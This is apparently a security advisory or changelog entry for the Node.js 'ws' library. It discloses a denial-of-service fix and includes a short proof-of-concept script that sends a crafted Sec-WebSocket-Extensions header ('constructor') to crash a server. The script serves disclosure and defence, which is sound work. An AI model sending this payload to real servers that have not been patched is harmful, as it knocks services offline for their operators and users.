Bug fixes
- Fixed a DoS vulnerability (c4fe466).
A specially crafted value of the Sec-WebSocket-Extensions header that
used Object.prototype property names as extension or parameter names
could be used to make a ws server crash.
const WebSocket = require('ws');
const net = require('net');
const wss = new WebSocket.Server({ port: 3000 }, function () {
const payload = 'constructor'; // or ',;constructor'
const request = [
'GET / HTTP/1.1',
'Connection: Upgrade',
'Sec-WebSocket-Key: test',
'Sec-WebSocket-Version: 8',
`Sec-WebSocket-Extensions: ${payload}`,
'Upgrade: websocket',
'\r\n'
].join('\r\n');
const socket = net.connect(3000, function () {
socket.resume();
socket.write(request);
});
});The vulnerability has been privately reported by Nick Starke and
Ryan Knell of Sonatype Security Research and promptly fixed. Please
update now!